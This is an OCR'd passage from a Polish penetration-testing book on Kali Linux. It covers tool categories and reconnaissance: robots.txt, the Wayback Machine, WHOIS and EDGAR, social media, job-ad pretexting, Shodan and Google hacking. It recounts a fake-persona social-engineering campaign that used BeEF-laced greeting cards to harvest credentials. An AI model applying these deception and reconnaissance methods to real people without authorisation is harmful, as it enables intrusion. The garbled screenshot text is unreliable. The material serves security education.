W eb A pplications — tutaj zamieszczone zostały narzędzia pozwalające na identyfikację i wykorzystywanie podatności i luk w zabezpieczeniach serwerów W W W . W naszej książce będziemy bardzo często korzystać z narzędzi z tej właśnie kategorii. Pamiętaj jednak, że znajdują się tutaj nie tylko narzędzia do atakowania serwerów W W W , ale również narzędzia wykorzystujące W W W do testowania innych usług sieciowych. Dobrym przykładem mogą być narzędzia do analizy serwerów proxy, które znajdziesz właśnie w tej kategorii.
■
P assw ord A ttacks — ta kategoria została przeznaczona dla narzędzi pozwalających na łamanie haseł za pomocą metody b ru te-force i wykorzystujących inne, znacznie bardziej wyrafinowane sposoby, takie jak ataki słownikowe, mieszane, z użyciem tablic tęczowych (ang. R ain bow Tables) i inne. Znajdziesz tutaj również narzędzia pozwalające na odtwarzanie współdzielonych kluczy wykorzystywanych do uwierzytelniania.
■
W ireless A ttacks — w tej sekcji zgromadzone zostały narzędzia przeznaczone do identyfikacji i wykorzystywania luk w zabezpieczeniach i podatności w protokołach komunikacji bezprzewodowej. Znajdziesz tutaj między innymi narzędzia przeznaczone dla protokołu 802.11, takie jak aircra ck, airm on, narzędzia do łamania zabezpieczeń i haseł sieci bezprzewodowych czy narzędzia pozwalające na ataki na komunikację i urządzenia wykorzystujące protokół Bluetooth, a nawet technologię R F ID . Stosowanie takich narzędzi bardzo często będzie wymagało wykorzystania bezprzewodowej karty sieciowej skonfigurowanej do pracy w trybie nasłuchiwania (ang. prom iscu ou s m ode).
47
|
fl
K a li L in u x . T e s ty p e n e tra c y jn e
■
E xploitation Tools — są to narzędzia przeznaczone do wykorzystywania luk w zabezpieczeniach, które zostały wcześniej zidentyfikowane w fazie wyszukiwania podatności badanych systemów na ataki.
■
Sniffing an d Spoofing — tutaj zamieszczone zostały narzędzia wykorzystywane do przechwytywania pakietów sieciowych, modyfikowania pakietów sieciowych, tworzenia własnych pakietów sieciowych oraz tworzenia fałszywych witryn W W W . Oprócz tego znajdziesz tutaj również kilka narzędzi pozwalających na przeprowadzanie ataków na połączenia typu VoIP.
■
M aintaining A ccess — narzędzia w tej kategorii pozwalają na utrzymanie raz zdobytego przyczółka w zaatakowanym systemie. Tworzenie wielu alternatywnych punktów i metod dostępu do zaatakowanego i zdobytego systemu jest powszechnie stosowaną praktyką, która zapewnia napastnikowi możliwość interakcji ze zdobytym systemem w sytuacji, kiedy co najmniej jed en kanał komunikacyjny zostanie odkryty i zablokowany przez zespół bezpieczeństwa IT właściciela systemu.
■
R ev erse E n gin eerin g — w tej kategorii znajdziesz narzędzia pozwalające na debugowanie i deasemblację programów i innych plików wykonywalnych. Zadaniem inżynierii wstecznej (ang. rev erse engineering) je st analiza budowy programu i jego sposobu działania w celu umożliwienia wykonania jego kopii, usunięcia zabezpieczeń, modyfikacji czy projektowania innych programów. Inżynieria wsteczna wykorzystywana jest również do analizowania sposobu działania złośliwego oprogramowania oraz wyszukiwania luk w zabezpieczeniach aplikacji i systemów.
■
Stress Testing — tutaj zamieszczone zostały narzędzia wykorzystywane do testowania maksymalnego obciążenia, jakie jest w stanie wytrzymać dany system. Przeciążone systemy potrafią się czasem zachowywać w nieprzewidywalny sposób, powodując na przykład wyłączenie mechanizmów zabezpieczających i otwarcie wszystkich kanałów komunikacji czy nawet awarię bądź wyłączenie całego systemu (atak DoS, D enial o f Service).
■
H ardw are H acking — narzędzia znajdujące się w tej kategorii podzielone zostały na dwie grupy: A ndroid, gdzie umieszczono programy przeznaczone do pracy z urządzeniami mobilnymi, działającymi pod kontrolą systemu Android, oraz A rduino, gdzie zawarto narzędzia, które pozwalają na programowanie różnych innych urządzeń elektronicznych i zarządzanie nimi.
■
F oren sics — tutaj znajdziesz różnego rodzaju narzędzia informatyki śledczej, pozwalające na monitorowanie i analizowanie ruchu sieciowego, zawartości dysków twardych oraz aktywności użytkowników i aplikacji.
■
R eporting Tools — jest to kategoria przeznaczona dla narzędzi wspomagających dokumentowanie danych zebranych podczas testów penetracyjnych i tworzenie raportów końcowych.
■
System services — za pomocą poleceń w tej kategorii możesz włączać lub wyłączać różne usługi systemu Kali Linux. Usługi dostępne w tym menu zostały pogrupowane w następujące kategorie: B eE F , D radis, HTTP, M etasploit, M ySQ L oraz SSH.
48
R o z d z ia ł 1. • P rzy g o to w a n ia
fl
W systemie Kali Linux zostało zaimplementowanych również wiele innych narzędzi, takich jak przeglą darki sieciowe, narzędzia do zmiany sposobu, w jaki komputer działający pod kontrolą tego systemu jest widziany w sieci, narzędzia wspom agające wyszukiwanie danych i wiele innych przydatnych aplikacji.
Podsumowanie Zadaniem tego rozdziału było wprowadzenie Cię w świat testów penetracyjnych aplikacji in ternetowych oraz przedstawienie systemu Kali Linux. Rozpoczęliśmy od ogólnego omówienia postępowania podczas przeprowadzania testów penetracyjnych, włącznie z przykładami do brych praktyk, zagadnieniami związanymi z oceną ryzyka oraz omówieniem różnic pomiędzy testami penetracyjnymi a innymi usługami związanymi z bezpieczeństwem systemów telein formatycznych. Kluczowym elementem było tutaj poznanie istoty testu penetracyjnego, proce dur przygotowania zakresu działania pentestera oraz wybierania najlepszego sposobu wykonania takiej usługi. Pamiętaj, że dobre zrozumienie wzajemnych oczekiwań i możliwości pentestera i właściciela systemu jest kluczem do pomyślnego uzgodnienia zakresu działania, sprawnego przeprowadzenia samego testu i wypracowania odpowiednich materiałów końcowych. W dalszej części tego rozdziału dokonaliśmy ogólnego omówienia systemu Kali Linux. Znalazły się tutaj takie zagadnienia, jak pobieranie odpowiedniej wersji dystrybucji systemu, procedu ra instalowania systemu i krótkie omówienie narzędzi, jakie Kali Linux daje użytkownikowi do dyspozycji. W kolejnym rozdziale opowiemy, jak sprawnie i efektywnie przeprowadzić reko nesans systemu będącego celem naszego ataku. Jest to pierwszy i najważniejszy krok do skutecz nego przeprowadzenia testu penetracyjnego.
49
fl
K a li L in u x . T e s ty p e n e tra c y jn e
50
R
O
Z
D
Z
I
A
Ł
Rekonesans Termin rekonesans wywodzi się z terminologii wojskowej i oznacza rozpoznanie stanowisk i sił przeciwnika przed rozpoczęciem ataku. W terminologii informatycznej rekonesans systemów komputerowych ma podobne znaczenie i odnosi się do sytuacji, w której pentester lub poten cjalny napastnik próbuje zebrać jak najwięcej informacji o danym systemie i jego zasobach przed rozpoczęciem właściwego ataku. Taki proces jest czasami nazywany zbieraniem „odcisków” systemu. Zazwyczaj wszelkie działania związane z przeprowadzanym rekonesansem mają pasyw ny charakter i w większości przypadków nie wchodzą w konflikt z uregulowaniami prawnymi (zastrzegamy jednak, że nie jesteśm y prawnikami i naszego stwierdzenia nie można traktować jako wykładni prawnej). Pamiętaj jednak, że taka sytuacja będzie trwała dopóty, dopóki nie „zahaczysz” o systemy, na których badanie nie otrzymałeś odpowiedniej zgody właściciela. Przykłady działań związanych z fazą rekonesansu mogą obejmować niemal wszystko, od groma dzenia informacji o celu w publicznie dostępnych źródłach, takich jak Google czy serwisy społecznościowe, poprzez monitorowanie aktywności użytkowników w celu poznania ich na wyków i sposobu działania, aż do skanowania sieci i aktywnych hostów w celu gromadzenia informacji o typach urządzeń, systemach operacyjnych i otwartych portach. Im więcej informacji zostanie zebranych podczas tej fazy, tym większa jest szansa na znalezienie słabego ogniwa, ominięcie istniejących zabezpieczeń systemu i pomyślne osiągnięcie założonego celu. Pamiętaj jednak, że nadmierna aktywność związana z przeprowadzanym rekonesansem najprawdopo dobniej zaalarmuje pracowników zespołu bezpieczeństwa właściciela systemu i spowoduje, że pomyślne przeprowadzenie ataku będzie utrudnione. Oficjalne motto systemu Kali Linux jest zatem następujące: Im ciszej się zachow u jesz, tym w ięce j m ożesz usłyszeć! W fazie rekonesansu powinieneś dokładnie dokumentować wszystkie zebrane informacje, ponieważ dane zebrane w tej fazie mogą mieć niezwykle istotne znaczenie później, podczas próby penetracji systemu. Również właściciel systemu, który zlecił przeprowadzenie testu penetracyjnego, najprawdopodobniej będzie chciał się dowiedzieć, w jaki sposób zdobyłeś określone dane o jego systemie. Zleceniodawca może na przykład zapytać, jakich narzędzi użyłeś
fl
K a li L in u x . T e s ty p e n e tra c y jn e
do gromadzenia informacji, jakie informacje znalazłeś w publicznie dostępnych źródłach, ja kie zapytanie użyte w wyszukiwarce Google przyniosło takie czy inne informacje itd. Samo poinformowanie zleceniodawcy, że „osiągnąłeś zamierzony cel”, z pewnością nie wystarczy, ponieważ zadaniem testu penetracyjnego jest zidentyfikowanie słabych stron w zabezpiecze niach badanego środowiska, tak aby można je było później poprawić i „uszczelnić” system.
Zadania rekonesansu ■
Przeznaczenie badanego środowiska celu. Jaką rolę odgrywa środowisko zleceniodawcy będące przedmiotem testu penetracyjnego?
■
Powiązania badanego środowiska celu. Jakie są powiązania badanego środowiska z innymi podmiotami biznesowymi, dostawcami czy klientami?
■
Inw estycje w systemy zabezpieczeń środowiska celu. Czy w środowisku zleceniodawcy została wdrożona jakaś polityka bezpieczeństwa? Jakie systemy zabezpieczeń zostały zaimplementowane w tym środowisku. Czy użytkownicy zostali odpowiednio przeszkoleni i czy przestrzegają zasad bezpieczeństwa?
■
Sposoby działania badanego środowiska celu. W jaki sposób funkcjonuje dane środowisko? Jakie są potencjalnie słabe strony wdrożonych procedur operacyjnych?
■
Użytkownicy środowiska celu. Jakiego rodzaju użytkowników można spotkać w badanym środowisku celu? Czy możesz ich wykorzystać do zdobycia dodatkowych informacji o systemie, przeprowadzając ataki socjotechniczne?
■
Rozpoznanie poszczególnych celów ataku. Jakie elementy badanego środowiska wydają się najbardziej obiecującymi celami ataku? Czego powinieneś unikać podczas przeprowadzania ataku?
■
Sieć komputerowa środowiska celu. W jaki sposób poszczególne hosty i użytkownicy w sieci komputerowej środowiska celu komunikują się ze sobą?
■
Istn iejące mechanizmy obronne. Jakie mechanizmy zabezpieczające zostały wdrożone w środowisku celu? Jaki jest zakres ochrony?
■
Technologie wykorzystywane w środowisku celu. Jakie technologie, platformy i rozwiązania są wykorzystywane w środowisku celu do wymiany poczty elektronicznej, przekazywania ruchu sieciowego, przechowywania danych, uwierzytelniania urządzeń i użytkowników oraz innych zadań? Jakie są potencjalnie słabe strony wdrożonych rozwiązań?
Jak już wspominaliśmy w poprzednim rozdziale, w menu głównym systemu Kali Linux znaj dziesz kategorię Information G athering, w której zgromadzono narzędzia wspomagające zbieranie informacji w fazie rekonesansu. Szczegółowe omówienie wszystkich dostępnych narzędzi i proce dur ich zastosowania wymagałoby niestety napisania osobnego opracowania, stąd w naszej książce skoncentrujemy się tylko na narzędziach wspomagających zbieranie informacji podczas testów penetracyjnych aplikacji internetowych, które zostały zaimplementowane w systemie Kali Linux, jak i na najlepszych narzędziach, które możesz znaleźć w niezmierzonych zasobach internetu.
52
R o z d z ia ł 2. • R e k o n e s a n s
fl
Rozpoznanie wstępne Rekonesans powinieneś rozpocząć od zebrania jak największej ilości informacji o roli środowi ska celu, jego użytkownikach i powiązanych z nim innych podmiotów biznesowych. Sun Tzu, autor słynnego traktatu Sztuka w ojny, mawiał, że przed rozpoczęciem ataku należy poznać swojego przeciwnika. W prostej linii wynika stąd, że jako pentester powinieneś dobrze po znać środowisko celu. Jeżeli celem Twojego ataku je st witryna internetowa, powinieneś do kładnie poznać wszystkie je j „zakamarki”. Takie postępowanie pozwoli Ci lepiej poznać sposób je j działania i określić metody zarządzania. Dobrze przeprowadzony rekonesans niemal zaw sze skutkuje większą listą potencjalnych słabości i punktów zaczepienia w badanym systemie. To przerażające, jak wiele informacji można znaleźć w publicznie dostępnych źródłach. Nie powinieneś być zaskoczony, jeżeli znajdziesz tam rzeczy zupełnie, zdawałoby się, niewyobrażalne, takie jak poufne dokumenty, listy haseł dostępu, raporty o podatnościach i lukach w zabezpiecze niach, zdjęcia, które nigdy nie powinny zostać upublicznione, czy nawet hosty oferujące niczym niechroniony dostęp do systemów kamer zabezpieczających różne obiekty. Z tych właśnie powodów bardzo wielu pentesterów rozpoczyna analizę celu od sprawdzenia informacji do stępnych w źródłach publicznych. Poniżej zamieszczamy zestawienie kilku wybranych źródeł, od których możesz rozpocząć swoje poszukiwania.
Strona internetowa firmy Na stronie internetowej firmy, której środowisko komputerowe ma być celem testu penetracyjnego, możesz często znaleźć naprawdę mnóstwo bardzo interesujących informacji. Na większości witryn internetowych dużych firm i korporacji możesz znaleźć listę członków zarządu i kadry kierowni czej, nazwiska pracowników działu kadr, zajmujących się rekrutacją czy kontaktem z mediami, i wiele innych, ciekawych danych. Takie informacje mogą być później punktem zaczepienia do dalszego zbierania danych czy nawet do przeprowadzania ataków socjotechnicznych. Do bardzo ciekawych informacji możesz również dojść poprzez analizę listy innych podmiotów biznesowych i organizacji współpracujących z daną firmą, listy ofert zatrudnienia, informacji biznesowych o działaniu firmy, aktualnych inwestycjach czy nawet o wdrożonych i planowanych środkach i politykach bezpieczeństwa. Zbieranie informacji na temat partnera biznesowego może być tak samo wartościowe jak zbieranie informacji o podstawowym celu ataku, ponie waż możesz tam znaleźć wiele informacji powiązanych z Twoim celem i wykorzystać je do przygotowania ataku. Dobrym przykładem może być zbieranie informacji na tem at dostawcy zewnętrznego, który świadczy usługi IT (np. dział pomocy technicznej) dla firmy będącej celem ataku, i wykorzystanie tak zdobytych informacji do przeprowadzenia ataku. Kolejnym ciekawym źródłem informacji może być plik Robots.txt, który bardzo często można znaleźć na witrynach internetowych i który jest publicznie dostępny dla każdego, kto zdaje sobie sprawę z jego istnienia. W pliku tym znajdują się instrukcje dla robotów sieciowych (ang. w eb spiders) przeszukujących zasoby internetu, informacje o tym, jakie strony są publicznie dostępne, a jakie nie powinny być przeglądane i automatycznie indeksowane w przeglądarkach sieciowych.
53
K a li L in u x . T e s ty p e n e tra c y jn e
Zawartość pliku Robots.txt je st zapisana w formacie zgodnym z protokołem R obots Exclusion P rotocol. Polecenie Disallow: / informuje roboty i przeglądarki sieciowe, że dane źródło nie powinno być odwiedzane; ale pentester prowadzący rozpoznanie może przecież zignorować takie polecenie, a zawartość pliku Robots.txt może stanowić cenne źródło informacji o tym, jakich danych witryna internetowa celu nie chce publicznie ujawniać. Aby zobaczyć zawartość pliku Robots.txt, powinieneś poszukać go w głównym katalogu wi tryny internetowej celu. Na przykład dodanie nazwy Robots.txt do adresu głównej strony po pularnego serwisu Facebook daje rezultat przedstawiony na rysunku poniżej: 4“
O
S
https://w w w .facebook.com /robots.txt
# N o t i c e : i f yo u w o u ld l i k e t o c r a w l F ac e b o o k yo u can # c o n t a c t us h e r e : h t t p : / /www. f a c e b o o k . c o m /a p p s / s it e _ s c r a p i n g _ t o s . php # t o a p p ly f o r w h it e l i s t i n g . O ur g e n e r a l te rm 3 a r e a v a i la b le # a t h t t p s/ / w w w . fa c e b o o k . c o m /a p p s /s ite _ s c r a p in g _ t o s _ t e r m s . php U s e r - a g e n t : b a id u s p id e r D is a llo w : / a c . php D is a llo w : /a e .p h p D is a llo w : / a j a x / D is a llo w : / a lb u m .p h p D is a llo w : / a p . php D is a llo w : / a u t o l o g i n . php D is a llo w : / c h e c k p o in t / D is a llo w : / f e e d s / D is a llo w : / I . p h p D is a llo w : / o .p h p D is a llo w : / p .p h p D is a llo w : / p h o t o . php D is a llo w : / p h o to _ c o m m e n ts . php D is a llo w : / p h o to _ s e a r c h . php D is a llo w : / p h o t o s . php D is a llo w : / s h a r e . php D is a llo w : / s h a r e r /
Źródła przechowujące historyczne wersje witryn internetowych W internecie można znaleźć całkiem sporo źródeł, które przechowują historyczne wersje więk szości publicznie dostępnych witryn internetowych. Jednym z takich źródeł jest serwis WayB ack M achine, dostępny pod adresem archive.org. Na przechowywanych tam historycznych w ersjach witryn internetowych możesz znaleźć bardzo wiele bezcennych informacji o syste mie będącym celem planowanego ataku, takich jak nieaktualne schematy organizacyjne, numery telefonów, informacje o klientach, informacje o systemie i serwerach przechowywane w kodzie źródłowym strony, o starych wersjach pliku Robots.txt, o partnerach biznesowych, o podatnościach i lukach w zabezpieczeniach, które zostały poprawione w kolejnych wersjach, i wiele innych bezcennych danych, których cel ataku nie zamieszcza już w aktualnej wersji swojej witryny. Pamiętaj, że informacji, które zostały raz upublicznione w internecie, praktycznie nie da się całkowicie usunąć ze wszystkich źródeł i zawsze gdzieś pozostaną jakieś historyczne dane, które mogą mieć wielką wartość dla pentestera.
54
R o z d z ia ł 2. • R e k o n e s a n s
Aby skorzystać z usług serwisu W ayB ack M achine, wystarczy uruchomić dowolną przeglądar kę internetową i przejść na stronę http://archive.org. W oknie przeglądarki pojawi się główny ekran serwisu ze zlokalizowanym w środkowej części polem IN T E R N E T A RC H IV E W ayBack M achine, jak przedstawiono na rysunku poniżej:
W pisz w polu tekstowym adres U R L witryny, której historyczną w ersję chcesz zobaczyć, i sprawdź, czy w bazie serwisu znajdują się jej zarchiwizowane kopie. Na infografice w górnej czę ści ekranu możesz zobaczyć, ile zarchiwizowanych kopii witryny utworzono w poszczególnych latach (zobacz rysunek poniżej). INTERNET
ARCHI VE
http://w w w .la ncopa.com http;A>ww.lancoDO com Km been crawled 300 tim e* going all tha way back lo February 20.2001. A crawl can bn a dupicAta ct V a mat nrw It happen* about 75% ot ttw Dm* a u a u 470.ano.QCn wwtium tAO
100*
1M7
«M i
1M i
7M1
IlMi.il lliliililll ,1, J L*muI¿ k .
7007
JAN 1
fi
7M7
7M4
700*
7004
7M7
3
4
3
4
5
7017
6
7
8
9
3
4
5
ru n
APR
1 2
5
I
7011
MAR
FEB
2
7010
i
2 9
6
7
8
1 7
2 8
3
4
5
6
9
10
11
12
13 20
3
14 15
16
17
18
18
10
11
12
13
14
15
16
10
11
12
13
14
15
16
14
15 16
17
16
19
!0
21 22
23
24
25
26
17
18
19
20
21
22
23
17
18
19
20
21
22
23
21
22 23
24
25
26
24
25
26
27
24
25
26
27
20
29
30
28
29 30
1
2
3
8
9
10
26
29
30
31
28
31 MAY 1 5
6 7
AUG 2
A
9
3
4
10
11
2
3
4
5
6
7
6
7
6
9
10
11
12
13
4
5
6
7
2
13 14
15 10
17
10
9
10
11
12
13 14
15
14
IS
16
17
16
19 20
11
12 13
14
15
16
9
20 21
22 23
24
26
16
17
16
19
20
21
22
21
22
23
24
26
26 27
16
19 20
21
22
23
24
«
27 26
29
31
23
24
26
26
27 26
29
26
29
30
31
26
26 27
26
29
30
31
30
55
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Jak widać, dla pentestera jest to bardzo użyteczne narzędzie, ponieważ przynosi wiele interesują cych informacji, a przy tym nie pozostawia żadnych śladów rekonesansu w systemie będącym celem ataku — wszystkie informacje są przechowywane w bazie danych serwisu W ayBack M achine. Na kolejnych dwóch rysunkach przedstawiamy wygląd witryny w w w .lan cop e.com w roku 2002 i dla porównania w roku 2013:
Network Se cu rity to Combat Today's Advanced Hacker
c l ic k
Lancope develops next-generation intrusion detection appliances for h igh-speed corporate networks.
S ig n Fo r
Lancope's StealthWatch™ is an ID S appliance that provides a new and unique approach to network intrusion detection. Our advanced threat management system monitors, detects and responds to security breaches and internal misuse, recognizing advanced attack methods that do not bear signatures, such a s undocumented, encrypted and D o S attacks. In addition, it performs on high-speed networks running full duplex 100 Mbps through Gigabit line speeds. R ead more about StealthWatch™ and its innovative flow-based architecture. Our innovative technology will dramatically improve your ability to detect anomalies, and to combat today's advanced hacker - the ones using new and undocumented attacks that have no known signature,
EWEEK - "Most Impressive" eW eek Analyst Fran cis Chu hails StealthW atch a s the "Most Im pressive ' of 2001, and s a y s that it "Redefines the Way Corporations Use Intrusion Detection Systems."
H ere
U p T he
STEALTH Watch We b D em g
Lancope News: StealthWatch selected bv eWeek as "Most Impressive" of 2001. Lancooe ID S Looks Into the Unknown to Detect Threats Latest Hacker Target: Routers Intrusion Battleground Evolves Security's Hidden Benefits
WMONTO MCUM. MTtLUafNCC TOMOTKT
Lancope
SOLUTIONS
PNOOUCT8 A S S R V K «
nraOCJWCBS
A Key C o m p o n e n t o f the
Cisco* CyberThreat Defense Solution *■ Detect Reconnaissance A ctivity ► Find Data Loss / Exfiltration ► Discover Internally Spreading Malware ► Identify Botnet and C&C A ctivity
LATfST Mews
< N|:l>xmTgHwM(iw TT<
_ ¿W Detect A Resolve
boCnat* DOoS and mudar
56
Identity & Stop
poaun— apuna? inuou nvaat» staamWMtfi tu* V «
I Hunting to r, Intid« Your Network >Rofllotor
R o z d z ia ł 2. • R e k o n e s a n s
fl
Regional Internet Registries, czyli regionalni administratorzy adresów IP Regional Internet Registries, w skrócie RIR, to organizacje, które zajmują się zarządzaniem, alo kacją i przydzielaniem adresów IP dla podmiotów w poszczególnych regionach świata. Istnieje pięć głównych organizacji R IR — dla Europy jest to organizacja RIPE N etw ork Coordination Centre, której stronę znajdziesz pod adresem http://www.ripe.net/. Jej odpowiednikiem dla USA, Kanady i części regionu Karaibów je st A m erican R egistry f o r In tern et N u m bers (http://w w w .arin.net/) — przykładowe informacje zebrane w ARIN na temat witryny Lancope wyglądają następująco:
Name
Lancope
Handle
LANCOP
Street
3155 Royal Drive Building 100
City
Alpharetta
State/Province
GA
Postal Code
30022
Country
US
Registration Date
2002-06-21
Last Updated
2011-09-24
Comments RESTful Link
http://whois.a ri n.n et/rest/o rg/L ANC OP
See Also
Related networks.
See Also
Related autonomous system numbers.
See Also
Related POC records.
System EDGAR System EDG AR (ang. Electronic Data Gathering, Analysis an d Retrieval) to zautomatyzowany system bazodanowy, zawierający dokumenty rejestracyjne, raporty okresowe oraz inne infor macje na temat funkcjonowania firm, który funkcjonuje od roku 1994. Wszystkie firmy założone w Stanach Zjednoczonych są prawnie zobligowane do zamieszczania takich dokumentów w bazie EDGAR. Wszystkie dokumenty przechowywane w tym systemie są jawne i publicznie dostępne. Poniżej zamieszczamy dwa zrzuty ekranu zawierające przykładowe informacje na temat firmy Lancope:
57
fl
K a li L in u x . T e s ty p e n e tra c y jn e
F ilin g D etail SEC Horns ■ Search the Next-GeneraDon EDGAR System » Company Search > Current Page
4
813
Form H t a m x ■Norco or .sum e t Nocurfies /rrogutteon t> ana soe.tmn /e/ or «ne .socutmm Acr or > . / Filing Date 2006-04-25 Accepted 2006-04-30 t2.50.t2 Documents
FINng Dote Changed 2006-04-30 Effectiveness Date 2006-04-25
t
Document Formal Filos Sea
Description
1
AUTO GENERATED PAPER DOCUMENT Scanned paper document Compléta submission text fila
L A N C O P E IN C ( F ile r ) C IK : 0 0 0 1 1 7 8 0 0 4 (s e e a ll c o m p a n y f i l i n g s )
1RS No
000000000 Type RfcCiOfcX | A c t 3 4 H a NO 021-45780 | Him NO. 08045649
1
Zasoby serwisów społecznościowych Serwisy społecznościowe są dzisiaj obecne dosłownie wszędzie, a ich zasoby są zazwyczaj powszechnie dostępne. Większość użytkowników komputerów, smartfonów, tabletów lub in nych tego typu urządzeń posiada konta w takich serwisach, jak Facebook, Twitter czy LinkedIn, prowadzi różnego rodzaju blogi bądź przechowuje swoje cenne dane w usługach typu chmura. Serwisy społecznościowe mogą stanowić bezcenne źródło informacji dla pentestera i znaczą co ułatwić mu przygotowanie ataków socjotechnicznych. Na przykład w serwisach takich jak Glassdoor.com można odszukać opinie niezadowolonych pracowników i na ich podstawie wy ciągać interesujące wnioski. Istnieje wiele narzędzi (takich jak zaimplementowany w systemie Kali Linux pakiet M altego) pozwalających na wyszukiwanie osób. Narzędzia te przeczesują najpopularniejsze serwisy społecznościowe, spisy publiczne czy portale agencji zatrudnienia i pozwalają na stworzenie dokumentacji na podstawie nawet tak szczątkowych danych, jak imię i nazwisko pracownika.
58
R o z d z ia ł 2. • R e k o n e s a n s
fl
Pentester może zbierać informacje na temat historii m iejsc zamieszkania takiej osoby, po przednich pracodawców, prowadzonej działalności gospodarczej, znajomych, zainteresowań, ulubionych drużyn sportowych i inne dane, które mogą być wprost nieocenione podczas przygotowywania ataków socjotechnicznych.
Zaufanie Większość ludzi jest z natury ufna i zakłada, że informacje publikowane w źródłach publicznych są prawdziwe. Aby sprawdzić takie założenie, autorzy tej książki na jednym z serwisów społecznościowych stworzyli osobę o fikcyjnej, spreparowanej tożsamości i nazwali ją Emily Williams. Pani Williams udawała kandydatkę do pracy w hrmie, której środowisko komputerowe było celem testu penetracyjnego. Nasza Emily bardzo szybko nawiązała szereg znajomości z prawdziwymi pracownikami interesującej nas firmy, wysyłała drogą elektroniczną fałszywe kartki świąteczne (za pośrednictwem systemu BeEF, B row ser Exploitation Fram ew ork, którego zadaniem jest próba przełamania zabezpieczeń podatnych przeglądarek sieciowych) i przechwytywała masę intere sujących danych ze skompromitowanych w ten sposób systemów. W krótkim czasie mogliśmy rozpracować strukturę badanej firmy, zdobyć informacje na temat je j sieci komputerowej i wiele innych, wrażliwych danych, na podstawie których byliśmy w stanie spreparować dla naszej Emily wewnętrzny, korporacyjny adres pocztowy, zdobyć hasła pozwalające na zdalny dostęp do sieci korporacyjnej za pomocą tunelu VPN itd. Mimo że Emily była tylko i wyłącznie bytem wirtualnym, otrzymała wiele ofert pracy i dostarczyła nam wiele informacji o wewnętrznych zasobach firmy. Kto ma informacje, ten ma władzę, a ludzie bardzo często sami udzielają in teresujących informacji komuś, kto po prostu w taki czy inny sposób wzbudza ich zaufanie. Więcej szczegółowych informacji na temat projektu Emily znajdziesz pod adresem http://www. thesecurityblogger. com /?p=1903.
Oferty pracy Oferty pracy publikowane przez firmę mogą być następnym źródłem informacji. Analiza ofert dla informatyków może na przykład ujawnić, jakie systemy operacyjne i platformy bazodanowe są wykorzystywane w określonej firmie, ujawnić dane osobowe personelu IT, pozwolić na oszaco wanie liczebności, a nawet poziomu umiejętności zespołu IT. Pracownicy działu kadr, zajmujący się rekrutacją, zazwyczaj bardzo chętnie dzielą się w dobrej wierze informacjami z potencjal nym kandydatem, co znów może przełożyć się na zdobycie dodatkowych informacji, adresów poczty elektronicznej czy numerów telefonów innych pracowników. Na przykład podając się za potencjalnego kandydata do pracy na stanowisku projektanta aplikacji dla bazy danych Oracle, możemy uzyskać takie informacje, jak typy serwerów wykorzystywanych w firmie, wersje bazy Oracle, dane kontaktowe aktualnie pracujących administratorów baz danych, opisy problemów operacyjnych, z jakimi obecnie się borykają, być może informacje o słabych stronach
59
fl
K a li L in u x . T e s ty p e n e tra c y jn e
zabezpieczeń, a dodatkowo możemy mieć szansę na zadanie podchwytliwych pytań, na przykład o to, czy administratorzy systemu mogą pracować z domu i jak w takiej sytuacji podłączają się do komputerowej sieci firmy. Kolejną ścieżką do eksploracji mogą być pytania o oczekiwaną wysokość zarobków, dodatkowe świadczenia i inne tego typu sprawy. Uzyskane informacje można później wykorzystać do na wiązywania dyskusji z innymi pracownikami na różnych popularnych serwisach społecznościowych czy prezentujących oferty pracy i opinie o pracodawcach. W takich treściach można często znaleźć nowe, nieznane lub nieplanowane wcześniej możliwości ataku. Dobrym przykładem serwisu zawierającego tego typu dane jest wspominany już wcześniej G lassdoor.com .
Lokalizacja Wysokość środków przeznaczanych na inwestycję w zabezpieczenia systemów komputerowych można również próbować oszacować na podstawie poziomu fizycznego zabezpieczenia siedziby firmy. Zazwyczaj możemy przyjąć, że firma, której siedziba jest otoczona wysokim parkanem i której teren przez 24 godziny na dobę patrolują ochroniarze, będzie również inwestowała większe środki w zabezpieczenia systemów komputerowych niż mała firma zlokalizowana w jed nym z publicznie dostępnych biurowców. Sieciowe systemy kartograficzne, takie jak na przykład Google Maps, mogą pomóc w oszacowaniu stopnia fizycznego zabezpieczenia terenu firmy i pokazać, którędy wchodzą do niej pracownicy. Innym sposobem wykorzystania znajomości fizycznej lokalizacji firmy je st mała przejażdżka w je j pobliżu w celu zidentyfikowania istnie jących sieci bezprzewodowych (być może jedna z nich należy do tej firmy?) bądź bliższego zapoznania się z metodami kontroli wstępu na je j teren (na przykład czy pracownicy muszą nosić identyfikatory zbliżeniowe pozwalające na otwieranie drzwi i bram).
W yszukiwarka Shodan Shodan to wyszukiwarka sieciowa, pozwalająca na wyszukiwanie oraz identyfikację hostów sie ciowych, takich jak komputery, serwery, routery, kamery internetowe i inne urządzenia sieciowe, na podstawie wielu różnych kryteriów, m.in. metadanych pobranych z nagłówków odpowiedzi usług sieciowych. Korzystając z tej usługi, możesz na przykład wyszukać miejsca w sieci, gdzie pracują konkretne urządzenia sieciowe, jak przełączniki Cisco 3850 działające pod kontrolą systemu IO S Version 15.0(1)EX. Poniżej zamieszczamy przykład wyników wyszukiwania systemów SCADA dostępnych przez internet. W teorii takie systemy nie powinny istnieć, ale Shodan udowadnia jednak, że takie stwierdzenie nie je st prawdziwe. Systemy SCADA są wykorzystywane do sterowania różnymi urządzeniami w fabrykach, elektrowniach czy oczyszczalniach ścieków, więc zezwalanie na dostęp do takich urządzeń przez internet jest naprawdę złym rozwiązaniem!
60
R o z d z ia ł 2. • R e k o n e s a n s
|
Google hacking Google hacking to najpopularniejszy sposób wykorzystania wyszukiwarki Google do przepro wadzania rekonesansu w testach penetracyjnych aplikacji i serwerów internetowych. Metoda ta opiera się na zastosowaniu języka zaawansowanych zapytań wyszukiwarki Google, pozwa lającego na lokalizowanie określonych łańcuchów tekstu w zwracanych wynikach wyszukiwa nia. Odpowiednie przygotowanie filtra pozwala na przykład na zlokalizowanie określonych wersji aplikacji internetowych podatnych na atak, które w wyniku użycia w zapytaniu operatora in title :"in d e x of" zwracają określony ciąg znaków, np. P ow ered b y A pache. Inne zapytania pozwalają na zlokalizowanie plików dzienników, takich jak ws_ftp .lo g , które zawierają wrażli we informacje o adresach IP Poniżej zamieszczamy kilka rysunków demonstrujących wyko rzystanie wyszukiwarki Google do znajdowania dostępnych publicznie kamer internetowych Linksys. Na pierwszym rysunku przedstawiono zapytanie, które zostało użyte, a na kolejnym rysunku wyniki jego działania. Ostatni, trzeci rysunek przedstawia wygląd strumienia danych z jednej ze znalezionych w ten sposób kamer internetowych.
A oto kilka przykładów innych ciekawych zapytań: ■
